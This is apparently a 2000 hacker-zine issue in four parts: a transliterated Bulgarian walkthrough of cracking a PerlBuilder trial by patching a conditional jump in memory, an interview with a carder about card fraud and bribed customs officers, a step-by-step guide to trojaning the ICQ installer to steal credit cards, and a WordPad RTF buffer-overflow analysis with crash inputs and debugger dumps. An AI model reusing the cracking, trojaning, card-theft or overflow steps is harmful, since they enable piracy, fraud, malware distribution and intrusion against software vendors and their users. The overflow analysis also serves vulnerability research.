parent hwnd-to, i samoto hwnd: Target: "Button, p:0x2CC, h:0x2C4" Target's
text: "&Try" , kakto i che izbrania kontrol e Disabled i Visible. Syvsem
hladnokryvno go napravih da e 'Enabled' i minimizirah Enabler-a da vidia
k'wo stava sys PerlBuilder-a. Butona "Try" beshe veche syvsem normalen i
mozeshe da se clickne, muhahaha :)
Mdaa, ne sled dylgo dojde i razocharovanieto - momchetata ot
SolutionSoft praviat otnovo proverkata dali e izteklo vremeto :( Rezultatyt
beshe edin MessageBox, kazvasht neshto ot sorta : "Your application is
expired!". E, shte triabva po trudnia nachin javno :) Restart-nah mashinata,
za da se zaredi SoftIce. Takaa, pusnah si pak PerlBuilder-a i povtorih
nomera sys Enabler-a. Otbeliazah si toja pyt hwnd-to na button-a "Try" -
"h:0x49C", t.e hwnd-to e 0x48C (genialno, nali :) Predi da natisna "Try"
obache vliazoh s ctrl-d v SoftIce i slozih breakpoint pri message
WM_LBUTTONUP ot hwnd 49C sys komandata 'bmsg 49c wm_lbuttonup'. Izlizajki ot
SoftIce (s ctrl-d) veche biah hvyrlil mrezite i samo triabvashe da natisna
zlopoluchnia buton "Try", za da breakpointna koda. Po babeshkia metod s
golemi skokove pochnah da trasiram koda. Sled 10-toto natiskane na F12 se
pokaza poznatoto syobshtenie svyrzano s expire-vaneto na application-a :)
Mda, znachi sled 9-tia pyt traa da sym po-vnimatelen. Povtorih vsichko ot
nachalo - pusnah pak PerlBuilder-a, sys Enabler-a precakah "Try"-butona,
vidiah mu hwnd-to, izchistih staria breakpoint(bc *) i slozih novia (za
novoto hwnd). Tozi pyt spriah sled 9-toto natiskane na F12 i prodylzih s F10
(step by step). Taka se okaza che 27-moto natiskane na F10 se izpylni samia
call, kojto pokazva MessageBox-a. Povtorih vsichko otnachalo kakto predi, no
tozi pyt vnimavah kato pochana da nablizava zlopoluchnia CALL. Taka stignah
do slednia kod:
157:07005FAA 3B45F0 cmp eax,[ebp-10]
157:07005FAD 751A jnz 07005FC9
157:07005FAF 6A00 push 00
157:07005FB1 8D4DE0 lea ecx,[ebp-20]
157:07005FB4 6A1A push 1A
157:07005FB6 E8B5650100 call 07016570
157:07005FBB 6858330507 push 07053358
157:07005FC0 8D45E0 lea eax,[ebp-20]
157:07005FC3 50 push eax
157:07005FC4 E867A00300 call 07040030
Vesel i shtastliv kato promenih proverkata PerlBuilder-a trygna ! :)
Veche potrivah ryce da patch-na Vboxt403.dll (SoftIce izoblichi nego che
sydyrza gorespomenatia kod), sled koeto ustanovih obache, che v Vboxt403.dll
ne se sydyrza podobna posledovatelnost ot komandi! (0x3B 0x45 0xF0 0x75
0x1A) Mdaa, tuk veche zaciklih kato se chudeh kak da unpack-na dll-a, s
kakvo e pack-nat i vyobshte pack-nat li e ?!? Dokato ne zacepih che toj
vsyshtnost e tochno kakto triabva ... dokato e pusnat PerlBuilder-a :)))
Gnihihi, triabvashe mi malko vreme da si napisha read/write process
memory, i tyj kato znaeh virtualnia adres na kojto se zarezda dll-a ( toest
na men mi triabvashe samo adresa na gornia kod ) mozeh da si go crackna v
pametta :) Vsyshtnost mislia che ne e 100% sigurno che Vboxt403.dll shte se
zaredi tochno na syshtia adres, no tova maj moze da se poluchi samo pri
niakakyv ekstremen sluchaj. Tuk pod 'crackvam v pametta' vsyshtnost imah
predvid slednite deistvia - pusnah si PerlBuilder-a, enable-nah butona
"Try", pusnah si Ps.exe (syshto go ima na mr-drone.hypermart.net) i izbrah
procesa na PerlBuilder-a. Prochetoh vse pak stojnostta na adres 7005FAD za
vseki sluchaj i kato se uverih che e 0x75 (t.e. niama greshka) zapisah 0x74
na syshtia adres :)) Posle samo ostana da natisna "Try" ...
mr-drone
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
Interview with a BG carder By EXo
........... . . . . . . . . . . . . . .
Formatut interview e malko netradicionen za Phreedom Magazine, no se
okaza twurde polezen za sluchaq...
Predi izwestno wreme popadnah w IRC na edin chowek, kojto za golqma moq
iznenada se okaza ot po-starite carderi i opredeleno imashe kakwo da
razkave. Sled kratuk krat i edin neuspeshen opit za article ot negowa strana
se ugoworihme da naprawim edno kratko interview. Ne moga da garantiram
100%-owa dostowernost na nestata pisani po-dolu... no sled kato prochetete
materialcheto ste movete da precenite sami. Tiput, estestweno, predpochete
da ostane anonimen.
Pochwame li ?
<|EXo|> Da, no imaw predwid, che towa "interview" (priemaj go po-skoro
kato chat ili prosto dialog) nqma za cel da te izkara super-geroj da te
chetka i t.n. ... celta mu e informacionna ste se opitam da zadawam
minimalen broj lichni wuprosi chast ot nestata, koito pisha (dori i sega)
ste izleznat, chast ot tqh - ne...
. . .
<|EXo|> Zasto se navi na towa interview... horata, koito se zanimawat s
carding (ili pone tezi, koito durvat na sebe si) rqdko goworqt za
"hitrinite" w zanaqta ?
az nqmam nikakvo namerenie da komentiram dadeni fakti,
obstoqtelstva prez koito as ili nqkoi drug e minal za da dostigne do
eventualni finansovi oblagi
<|EXo|> Kolko sa spored teb horata w BG, koito mogat da zaqwqt, che
znaqt wsichko za cardinga bez towa da sa prazni dumi ?
nqkolko momcheta ot Varna, edin zabluden ot Jambol i
ostanaloto sa drebni ribi
<|EXo|> Towa znachi li, che ima nqkolko obosobeni "grupi" carderi w
stranata, koito dejstwat nezawisimo ?
da, no po opredeleni dosta grubi obstoqtelsva se okaza, che
te si se dyrjat mnogo zdravo, protivno na ochakvaniqta na wsichki v momenta.
Vseki po nqkakyv nachin e zavisim ot drug ...ima i seriozen sluh za proverki
veche btw.
<|EXo|> T.e. wseki move da naklepa ostanalite ako povelae ?
ami znaesh kak e kydeto ima mnogo pari ima mnogo interesi i
nqma priqteli vseki bi si pokril gyrba dori za smetka na poznat/kolega
<|EXo| >Sluchwalo li se e da se oburkat poruchkite ?
ako porychka se ozove na SF adres i vytre ima 3 Notebook-a
za okolo $5000 1-2ma hora imat zadyljenieto da pitat nai-golemite ribi chij
sa nestata, w sluchaj, che nikoi ne sa obadi syotvetno Varnenlii sa
pribirali moi raboti i az tehni
<|EXo|> V mail-a, kojto stana prichina za tozi razgowor, ti se
wyzmustawashe ot naroilite se "cardercheta", koito se hwalqt sus "smeshnite"
si poruchki. koe za teb e seriozna poruchka ?
mnogo truden vypros pri uslovie che 1) moga da se prozwuchi,
kato che se hvalq s otgovora 2) moga da stana smeshen pred nqkoi hora 3)
veroqtno shte vi...izlyja stava duma za prekaleno mnogo pari, zashtoto
obshtata praktika e mnogo po malko
<|EXo|> Togawa, koj e naj-wpechatlqwastiqt order, za kojto znaesh ti ?
predi dosta vreme se vpechatlih mnogo ot order na varnenlii
s 10x Qantum 6.4Gb + 2x USRobotics EXT. 56.6 + Diamond kyv beshe tam za
obshto okolo $2000 sega se pipa dosta po zdravo inache ne si zaslujava i
riska i nai-veche vremeto koeto otdelqsh, zashtoto tova e intelektualna
izmama v nai-seriozniq vid kogato q pravqt "serioznite carderi"
<|EXo|> Predi kolko wreme naprawi purwiq si "golqm udar" i kak stana
towa ?
pyrvoto zapoznavane na provincialist ot Varna s mitnichar e
predi okolo 3 god...az malko sled tqh. Za syjalenie samo s mitnichar ne e
izgodno da rabotish, ama tova e druga tema
<|EXo|> W sluchaq, te li potursiha mitnicharite ili mitnicharite gi
potursiha za tezi wzaimni uslugi ?
pochti vinagi te te izbirat sled kato ne vednyj sa
nabludavali, che daden adres prosto se otlichava s porychkite si
<|EXo|> Kakwa beshe ugoworkata ? kak razdelqhte ... ?
pyrvonachalno as plashtah 20%. legalnoto mito pri vnos koeto
trqbva da platish e 26% samo che tova mito ne vaji za comp. chasti i vaji
samo nad opredelena suma koqto se ukriva
<|EXo|> Kolko wreme produlvihte taka ?
mnogo malko, zashtoto mnogo sa gladni onez i vzeha da si
predlagat uslugite nqkolko choveka ...dokato nakraq ediniqt blesna :) s
nai-dobra oferta...
<|EXo|> imashe li natisk ot tqhna strana ? iznudwane ili nesto podobno ?
ne, daje gi precakvah mnogo chesto v parite primerno: imam
porychka za 1000$. az imam da davam spored dogovorkata 10-15% davam 170lv i
kazvam: "nqma poveche "batence"
<|EXo|> Sega gordeesh li se s towa ?
tova spored mene e izcqlo vypros na vyzpitanie as sym se
samovyzpitaval ot mnogo malyk => solidno kolichestvo pari ot ne fizicheska
rabota. V tova, che imam intelekta da go pravq, spored mene nqma nishto
stranno
<|EXo|> Imashe li momenti w kojto se nadprewarwahte koj ste porucha
naj-mnogo ?
ami ne, to tova si e kato konkurenciq mejdu golemi hora,
koito ne raboti nqma da qde
<|EXo|> Dokoga smqtash da produlvawash s poruchkite ?
dokato se iznesa ot Bulgaria, koeto nadqvam se shte stane
mnogo skoro iskam da zapochna nanovo tam, no kato comp. specialist, a ne
hitrec i tarikat
<|EXo|> Imal li si nqkoga problemi s kukite...i wyobste strah li te e ?
as lichno ne sym imal, no edin poznat imashe super seriozni
problemi. Chesno kazano "dreme mi na chuchrkata", makar che sa parili hora
i naskoro razbrah za kolega, kojto e ql boi sa mu pribrali pari i stoka.
Kato cqlo oshte ne e izlqzyl zakon, koito da osyjda tozi vid finansovi
oblagi, koito spored mene sa si chista proba intelektualni izmami
<|EXo|> koj praweshe poruchkite ? ti sam li reshawashe kakwo ste wiknesh
"tozi put" ili mashe gotow spisuk sys stoki ?
za da si zaslujava edna porychka, t.e. golqma e, se vlaga
mnogo moshenicheski potenciql pri kontakta sys sales managera na magazina,
koito prashta stokata nai-dobre se plasira SDRAM, CPU ili Notebook shtoto
pyrvite 2 sa sys 7 dena garanciq, ujasno malko sa, t.e. sybirat se po mnogo
v edna porychka
<|EXo|> Pritesnqwash li se, che s towa interview movesh da nawredish na
nqkoj "kolega" i towa da ne mu se haresa ?
ami edva li, 1) anonimous sym 2) na kogo mu dreme k'vo
kazvam 3) ne sym citiral konkretno gafove, postypki i t.n. na kolegi pyk i
ne mi puka ot nikoi i ot nishto specqlno na mene. Az ne si vadq samo s tui
hlqba a i nai-mnogo da go e qd nqkoj, che ne se e izpraskal toi s malko
reklama kakto imat navika da pravqt Varnenlii iz razni komersianli
spisaniica (Egoist'12.1999)
<|EXo|> Wsystnost, kakwo mislish za VHG ? kakwi sa ti otnosheniqta s tqh
?
ami tova e mnogo bolna temq. Ot VHG se poznavam lichno s
edin chovek, koito e dqwolski kydyren, a ot IRC se znam s 2ri koito za mene
e nai-talantliviqt hacker v Bulgaria, ne sluchaino i chlen na !ADM Pod VHG
razbiram xdm, CuMeoHoB, Maniac, schMATKA i daje mai Rumen. da kajem che po
tozi vypros po opredeleni syobrajeniq nqma da byda detailen, no s edna chast
ot VHG ne se poznavam, a s drugi se vijdame chesto :)
<|EXo|> Kak se poluchi problemyt, kojto grumna wuw vestnicite predi
nqkolko godini ?
ami za nego imam informaciq ot strashno mnogo iztochnici.
Fakt e obache, che v tazi afera ot koqto duhaha Varnenlii, gorkite nqmaha
pryst vina
<|EXo|> Nqkoj si izmi rucete ? kolko nagore stiga cqlata afera ?
chuh che dori ima zabyrkani politici /za nai-negramotnite -
govori se za aferata s kolata/
<|EXo|> Sled kato prochetat tozi razgowor, sigurno mnogo "hitreci i
tarikati" ste se wturnat da poruchwat, a po-nahalnite move-bi ste se opitat
da wleznat w kontakt i s "dobrite hora" ot mitnicata. Kakwo bi im kazal,
kato chowek, kojto e weche wutre w igrata ?
zakysnqhte pichove! skytaite se nqkyde, shtoto veche trqbva
da ima sankcii, a te nqma da bydat poneseni ot Varnenlii ili mene, a ot
nqkoi koito ne mu e tolkova debela gushata oshte
<|EXo|> Izvestna li ti e nqkoq carderka ? :)
seriozni - garantiram, che nqma. Za po nqkoi sutien ot
viktoriasecrets.com (ili kakto beshe tam) + "fishing Efnet all the day" -
moje naistina i momiche da se spravi :)
EXo
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
Solar Eclipse's Guide To Stealing 100000 Credit Cards in 21 Days
........... . . . . . . . . . . . . . .
Day 1. Find a victim. There are lots of companies offering direct
download of their software.Some of them have a HUGE user base. A site with
shareware will be better, because more people will download the files. ICQ
will be one of the best victims - they have a lot of downloads every day and
their software will be downloaded mostly by clueless users.
Day 2. Do some security research. Most of big software companies have
fairly good protection for their development servers. But their weak point
are the web servers. Often the system administrators think that isolating
the web server from the rest of the internal network (aka Intranet) will be
good for the overall site security. Sometimes they leave the web server less
protected than the rest of their network. Breaking into the web server is
much easier than breaking into the development servers. Fortunately for the
hackers, everything they need is on the web server.
Day 3. r00t the web server. Clean the logs, install a backdoor, have
fun.
Day 4. Download the latest ICQ version from the web server. You will
attach your trojan code to it.
Day 5. Write your trojan code and attach it to the executable ICQ file.
You might want to use some InstallShield unpacker to get the ICQ.EXE file,
infect it and than put it back into the packed SETUP.EXE. You don't need the
source code of ICQ to put a trojan in it. There are many ways to add
executable code to existing binary files. Viruses have been doing this for
years.
Day 6. Upload the infected ICQ setup file to the server, replacing the
old one. Questions to the sysadmins: How many of you are running Tripwire on
your web server files?
Day 7. Wait
Day 8. Check your email account and see how many new CCs you've got. (I
assume that you are using email for getting the CCs back to you. More
advanced ways to do this exist, but I'll keep it simple and stupid)
Day 9. - Day 20. Buy stuff.
Day 21. Get busted and spend the rest of your life giving pleasure to
big sweaty inmates. But hey, you might like it!
Appendix A. Where are the CCs stored?
There are 3 different approaches to getting the CCs from the user's
computer. You can try scanning the whole hard drive for strings that look
like credit card numbers. There is a simple algorithm for checking if a
given string of digits is a credit card or not. Consult your favorite CCgen
program. This way is slow and the chances of success are not very high.
You can also try putting the user's network card in promiscuous mode, or
capture the outgoing data from his modem. Unfortunately (or fortunately,
depending on your point of view) almost everybody uses SSL nowadays and the
number of unencrypted CCs floating around is not very high.
The third way is to target a specific application. A good example is
Microsoft Wallet. You might need to deal with the encryption of the stored
CC data - it's not impossible, but quite hard. Btw, think about Internet
Explorer. The vast majority of Windows users use IE for online shopping.
Somewhere in MSIE there is a function that takes some parameters as its
input and combines them into a URI encoded string, just like the thing that
you see in your browser's location field after submitting a GET form. This
function is called every time you submit a form and its parameters are the
names and the values of the form input fields. A logical approach for the
browser designers is to use this function for every form (both SSL and
non-SSL) and to encrypt the data in the transport layer, just before passing
them to the Winsock. If you know exactly where this function is located, you
might be able to patch the DLL and make it pass the _unencrypted_ contents
of every submitted form to you. It is possible to find this function through
a lot of debugging and disassembling of MSIE Unfortunately, you will need to
do the same with every version of MSIE, because the exact address of the
code changes.
Probably best approach is to do keyboard capture. Relatively few people
use software like Microsoft Wallet. Most of them enter their CC number every
time they buy something online. This is not only the most successful method,
but also the simplest.
Good luck and don't get caught!
Solar Eclipse
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
Microsoft Wordpad Buffer Overflow Research By Solar Eclipse
........... . . . . . . . . . . . . . .
I. Introduction
The first report was from Pauli Ojanpera
Win98/NT4 Riched20.dll (which WordPad uses) has a classic buffer
overflow problem with ".rtf"-files.
Crashme.rtf :
{\rtf\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
A malicious document may probably abuse this to execute arbitary
code. WordPad crashes with EIP=41414141.
Thomas Dullien did a very good research on this
buffer overflow. Unfortunately I received his vuln-dev post after I
was deep into the Wordpad code, so I have already discovered most of the
details that he posted.
II. Research
Ok, let's try to exploit this shit. First, try to crash Wordpad.
Create the following file:
{\rtf\AAAAAAAAAA(100 'A's)}
I am using SoftIce to inspect the situation after the crash.
First, take a look at the registers and the stack.
EIP=61616161
ESP=0012F044
EBP=61616161
ebp eip
0023:0012F024 0012F104 00000102 61616161 61616161 ........aaaaaaaa
0023:0012F034 0000001B 00000246 0012F044 00000023 ....F...D...#...
0023:0012F044 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F054 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F064 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F074 61616161 61616161 00000000 00000000 aaaaaaaa........
We can assume that EBP and EIP were popped from the stack and then RET 10
was executed, decreasing the stack pointer.
To check if this is the case, try the following:
{\rtf\AAAABBBBCCCCDDDDEEEEFFFF(...to ZZZZ)}
Wordpad crashes again. The regiters and the stack are as follows:
ESP=0012F054
EBP=6A6A6A6A 'jjjj'
EIP=6B6B6B6B 'kkkk'
ebp eip
0023:0012F034 0012F114 00000102 6a6a6a6a 6b6b6b6b ........jjjjkkkk
0023:0012F044 0000001B 00000246 0012F054 00000023 ....F...D...#...
0023:0012F054 6C6C6C6C 6D6D6D6D 6E6E6E6E 6F6F6F6F llllmmmmnnnnoooo
0023:0012F064 70707070 71717171 72727272 73737373 ppppqqqqrrrrssss
0023:0012F074 74747474 75757575 76767676 77777777 ttttuuuuvvvvwwww
0023:0012F084 78787878 79797979 7A7A7A7A 00000200 xxxxyyyyzzzz....
Yes, our assumption was correct. EBP gets its value from 0012F03C, and the
RET 10 instruction gets the EIP from 0012F040.
The buffer is probably 36 characters big, because 'jjjj' overwrites it.
By the way, notice that the characters are lowercased. This means that the
buffer is lowercased before the crash.
Let's try the following file (36 characters):
{\rtf\AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII}
It shouldn't crash, but it does. This is strange. Take a look at the
registers and the stack: (btw, do a quick check with 35 characters - Wordpad
will not crash)
EIP=002E0033
ESP=0012F108
EBP=00200067
0023:0012F0E8 0012F294 6E002F02 00200067 002E0033 ...../.ng. .3...
0023:0012F0F8 0000001B 00000202 0012F108 00000023 ............#...
0023:0012F108 0020002E 006C0070 00610065 00650073 .. .p.l.e.a.s.e.
0023:0012F118 00770020 00690061 00000074 00000000 .w.a.i.t.......
0023:0012F128 00000000 00000000 0000002E 00000000 ................
0023:0012F138 0012F194 5F816876 00000014 00000000 ....vh._........
0023:0012F148 00000000 00000001 029AE0CD 00000064 ............d...
0023:0012F158 0012F1B8 0012F68C 0012F638 5F816850 ........8...Ph._
0023:0012F168 00C14812 00000000 0012F2A4 00000168 .H..........h...
0023:0012F178 0012F292 0012F290 00C15810 0012F1A8 .........X......
0023:0012F188 00C15B3A 00000007 00000006 0012F1CC :[..............
0023:0012F198 6C026878 0012F294 0012F290 00C11DC8 xh.l............
0023:0012F1A8 61616161 62626262 63636363 64646464 aaaabbbbccccdddd
0023:0012F1B8 65656565 66666666 67676767 68686868 eeeeffffgggghhhh
0023:0012F1C8 7D696969 0012F1E0 6C026B81 0012F290 iii}.....k.l....
This is even more strange. The EBP and EIP are not overwritten by our
string, but they are still smashed.
It's time to try to find where exactly is the code, guilty for this mess.
Notice that the EIP is overwritten and we don't know what code was executed
before the crash. Pauli Ojanpera posted that the crash was in riched20.dll.
Check the loaded DLL-s: there is no riched20.dll, but we see riched32.dll.
This sounds good! At what address is this DLL loaded?
:map32 riched32
Owner Obj Name Obj# Address Size Type
RICHED32 .text 0001 001B:6C001000 00027284 CODE RO
The code is loaded at 6C001000. Where is the buffer overflow? It is probably
located in some function in RICHED32.DLL. This function is probably called
from some other function, which is also called from somewhere. We should
be able to see the return addresses for these previous calls on the stack.
Let's search for something that looks like a return address. At 0012F1D0 we
see the bytes 6C026B81. This looks like an address in RICHED32.DLL, doesn't
it? Go diassemble the bastard!
It is part of a function, starting at 6C026B0B and ending at 6C026B68
(I have incuded some more code in the middle, more about it later)
001B:6C026B0B push ebp
001B:6C026B0C mov ebp, esp
001B:6C026B0E sub esp, 04
...
001B:6C026B7A mox ecx, esi
001B:6C026B7C call 6C0267D1 ; this is called for each \ tag
001B:6C026B81 mov [edi], eax
...
001B:6C026B64 pop edi
001B:6C026B65 pop esi
001B:6C026B66 mov esp, ebp
001B:6C026B68 ret
Put a breakpoint in the beginning of this function and see what happens.
The 6C026B0B function is called 2 times and crashes the second time.
Trace it step by step, stepping over the calls. The function crashes
after the final RET instruction (located at 6C026B68)
Just before the crash the stack lools like this:
edi esi local_var old_ebp
0023:0012F1D4 0012F290 00C13D58 5CC15A30 0012F40C
0023:0012F1E4 6C024DE0 <- ret address
The POP EDI and POP ESI instructions restore these two registers (look at
the disassembly). Then the function restores the ESP (which is saved in EBP
in the beginning of the function). By trying this with a normal RTF file
(not causing a buffer overflow), we see that ESP becomes 0012F1E0. Then EBP
is popped from the stack (it becomes 0012F40C) and the RET instruction
returnes the execution flow to 6C024DE0.
This is not the case with a fucked up RTF file. Everything is ok until we
hit the MOV ESP, EBP instruction. The value in the EBP register is not
correct, thus fucking up the ESP and causing a mess.
Ok, now we need to find where in the 6C026B0B function the EBP is smashed.
Put a breakpoint in the beginning of the function and trace it (without
stepping into the calls). The EBP in the beginning of the function is
0012F1E0. It changes after the CALL 6C0267D1 instrcution.
Now we have the function that changes the EBP.
001B:6C0267D1 push ebp
001B:6C0267D2 mov ebp, esp
001B:6C0267D4 sub esp, 24
...
The stack of this function looks like this:
0023:0012F1A8 61616161 62626262 63636363 64646464 aaaabbbbccccdddd
0023:0012F1B8 65656565 66666666 67676767 68686868 eeeeffffgggghhhh
0023:0012F1C8 7D696969 0012F1E0 6C026B81 0012F290 iii}.....k.l....
ebp eip
At 0012F1D4 we have the return address. The EBP is saved at 0012F1D0 and
then the stack pointer is decremented by 36, leaving space for 36 bytes of
local variables. Remember this number? This is our buffer!
After some more tracing, we see that the saved ebp is changed because of
001B:6C0268E9 mov byte ptr [ebx], 00
executed right after the buffer is filled with our characters. This
is a NULL termination of the string, which changes the saved ebp
from 0012F1D0 to 0012F100.
Let's do some more reverse engineering. From 6C0268AE to 6C0268DB we have
a loop that reads our string and copies it into the buffer.
001B:6C0268AE mov al, [ecx] ; get the current char
001B:6C0268B0 inc ecx ; ecx points to the next char
001B:6C0268B1 mov [ebp-01], al ; store the current char at 0012F1C8
001B:6C0268B4 mov [esi+1C], ecx ; store ecx at 0012F2AC
001B:6C0268B7 mov eax, 00000001 ; what the fuck?
001B:6C0268BC test eax, eax
001B:6C0268BE jc 6C0268E9 ; this is never executed
001B:6C0268C0 movzx eax, byte ptr [ebp-01] ; get the current char
001B:6C0268C4 test byte ptr [eax+6C00C6B8], 01 ; is is 'A'-'Z' or 'a'-'z' ?
001B:6C0268CB jz 6C0268E9 ; no -> go there
001B:6C0268CD mov al, [ebp-01] ; get the current char
001B:6C0268D0 or al, 20 ; make it lowercase
001B:6C0268D2 mov [ebx], al ; store it in the buffer
001B:6C0268D4 inc ebx
001B:6C0268D5 mov ecx, [esi+1c] ; restore ecx
001B:6C0268D8 cmp [esi+18], ecx ; reached the end of the sting?
001B:6C0268DB jnz 6C0268AE ; no -> loop again
ECX is a pointer to the memory location where the RTF file is loaded. It
points to the character that we are currently copying. EBX points to the
buffer. The buffer starts at 0012F1A8.
By the way, notice that the current charcacter is stored at 0012F1C8 (the
third line in the disassembly). This means that out buffer is only 32 bytes
long, and we have another local variable after it. This doesn't really
matter, because the copying process works even if we overwrite this
variable (it gets restored). If we put some shellcode there, we need to
know that this particular byte will be changed to the first character after
the end of the string. In our case, this is '}'
Notice the "test byte ptr [eax+6C00C6B8], 01" instruction. At this
memory location (6C00C6B8) we have an array of bytes, corresponding to each
ASCII value.
The array at 6C00C6B8
+00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
+10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
+20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
+30 06 06 06 06 06 06 06 06-06 06 00 00 00 00 00 00
+40 00 05 05 05 05 05 05 01-01 01 01 01 01 01 01 01
+50 01 01 01 01 01 01 01 01-01 01 01 00 00 00 00 00
+60 00 05 05 05 05 05 05 01-01 01 01 01 01 01 01 01
+70 01 01 01 01 01 01 01 01-01 01 01 00 00 00 00 00
+80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
+90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
+A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
+B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
+C0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
+D0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
+E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
+F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
The only ASCII characters that will pass the JZ condition after the TEST
instruction are the letters 'A'-'Z' and 'a'-'z' (ASCII values 41-5A and
61-7A). If any other character is reached, the copying is ended and the
buffer is NULL terminated.
Next we try really taking over the return address.
{\rtf\AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKAAAAAAAAAAAAAAAA(more As)}
'jjjj' overwrites the saved EBP and the return address becomes 'kkkk'. After
the overwritten return address, we have more As.
0023:0012F1A8 61616161 62626262 63636363 64646464 aaaabbbbccccdddd
0023:0012F1B8 65656565 66666666 67676767 68686868 eeeeffffgggghhhh
0023:0012F1C8 7D696969 70707070 71717171 61616161 iii}jjjjkkkkaaaa
0023:0012F1D8 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F1E8 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F1F8 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F208 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F218 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F228 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F238 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F248 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F258 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F268 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F278 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0023:0012F288 61616161 61616161 00000000 00000000 aaaaaaaa........
0023:0012F298 00000000 00000000 00000000 00000000 ................
0023:0012F2A8 00000000 000C1814 00000000 00000000 ................
At 0012F2AC we have a pointer to the current character in the file buffer.
ECX is saved to this location (referenced as esi+1C) before the copying, and
restored afterwards. This value is updated after every copied byte. If we
overwrite it, it will start pointing to a new memory location. The copy loop
will try to read the bytes to copy from there and probably crash. Even if we
somehow manage to overwrite this with a valid memory pointer, this will be
the last byte copied from our string.
This limits us to 216 'A's after the 'jjjjkkkk'.
III. Is an exploit possible ?
Exploiting this buffer overflow will be hard. May be not impossible, but
very hard. We have only 216 bytes to squeese our shell code in, and we can
use 26 characters - the letters from 'a' to 'z'.
Writing a shell code with no nulls is hard, writing one only with letters is
almost impossible.
First, we need some way of pointing the return address to something usefull.
We cannot point it to the stack, because the stack address contains
'prohibited' characters. After the RET instruction the ESP points to the
second part of our string (the one after 'jjjjkkkk'). We need a JMP ESP or
CALL ESP instruction. The usual approach is to look at the loaded DLL-s at
the time of the crash and to find one of these instructions at some memory
location. Then we can point the return address to this memory location and
have it jump back to our shell code. The problem is that we need the address
of this memory location to consist only of lowercase letters.
c:\>listdlls.exe wordpad
ListDLLs V2.1
Copyright (C) 1997-1999 Mark Russinovich
http://www.sysinternals.com
------------------------------------------------------------------------------
WORDPAD.EXE pid: 275
Base Size Version Path
0x029a0000 0x34000 4.00.1381.0096 C:\Program Files\Windows NT\Accessories\wordpad.exe
0x77f60000 0x5e000 4.00.1381.0174 C:\WINNT\System32\ntdll.dll
0x5f800000 0xee000 4.21.0000.7160 C:\WINNT\System32\MFC42u.DLL
0x78000000 0x40000 6.00.8397.0000 C:\WINNT\system32\MSVCRT.dll
0x77f00000 0x5e000 4.00.1381.0178 C:\WINNT\system32\KERNEL32.dll
0x77ed0000 0x2c000 4.00.1381.0115 C:\WINNT\system32\GDI32.dll
0x77e70000 0x54000 4.00.1381.0133 C:\WINNT\system32\USER32.dll
0x77dc0000 0x3f000 4.00.1381.0203 C:\WINNT\system32\ADVAPI32.dll
0x77e10000 0x57000 4.00.1381.0193 C:\WINNT\system32\RPCRT4.dll
0x77d80000 0x32000 4.00.1381.0133 C:\WINNT\system32\comdlg32.dll
0x70970000 0x1a8000 4.72.3110.0006 C:\WINNT\system32\SHELL32.dll
0x70bd0000 0x44000 5.00.2314.1000 C:\WINNT\system32\SHLWAPI.dll
0x71590000 0x87000 5.80.2314.1000 C:\WINNT\system32\COMCTL32.dll
0x77b20000 0xb6000 4.00.1381.0190 C:\WINNT\system32\ole32.dll
0x76aa0000 0x6000 4.00.1371.0001 C:\WINNT\System32\INDICDLL.dll
0x77c00000 0x18000 4.00.1381.0027 C:\WINNT\System32\WINSPOOL.DRV
0x775a0000 0x14000 0.02.0000.0000 C:\WINNT\System32\spool\DRIVERS\W32X86\2\RASDDUI.DLL
0x6c000000 0x2e000 4.00.0993.0004 C:\WINNT\System32\RICHED32.dll
0x70400000 0x77000 5.00.2314.1000 C:\WINNT\System32\mlang.dll
These are the loaded DLLs that we can use. The perfect DLL would be the same
on Windows 95, 98, SE, NT 4 with all service packs and on Win2K.
Unfortunately such DLL is just a dream. Our choices are really limited.
Looking at the base addresses, we can eliminate most of the DLLs, because
they don's have letter addresses. This leaves us only with one DLL that we
can use:
0x71590000 0x87000 5.80.2314.1000 C:\WINNT\system32\COMCTL32.dll
We can only use the code in the range from from 71616161 to 7161707A.
After disassembling the DLL and looking at the code, we clearly see that
there is no JMP ESP or CALL ESP instruction.
There is no way to execute the shellcode.
Even if we could do it, making the shellcode do something usefull would be
pain in the ass. The restrictions are too harsh.
After the RET instruction, at ESP-50 we have a pointer to the beginning of
the buffer, where the raw file is loaded. This buffer holds the raw file
contents, so we can use NULLs and non-letter characters. Unfortunately, this
buffer is in the heap and we can not execute any code from there. We need to
copy the code to the stack first.
The whole situation sucks. At least the Micro$oft users are saved once
again! But not for long :-)
Solar Eclipse
(C) 2000 Phreedom Magazine
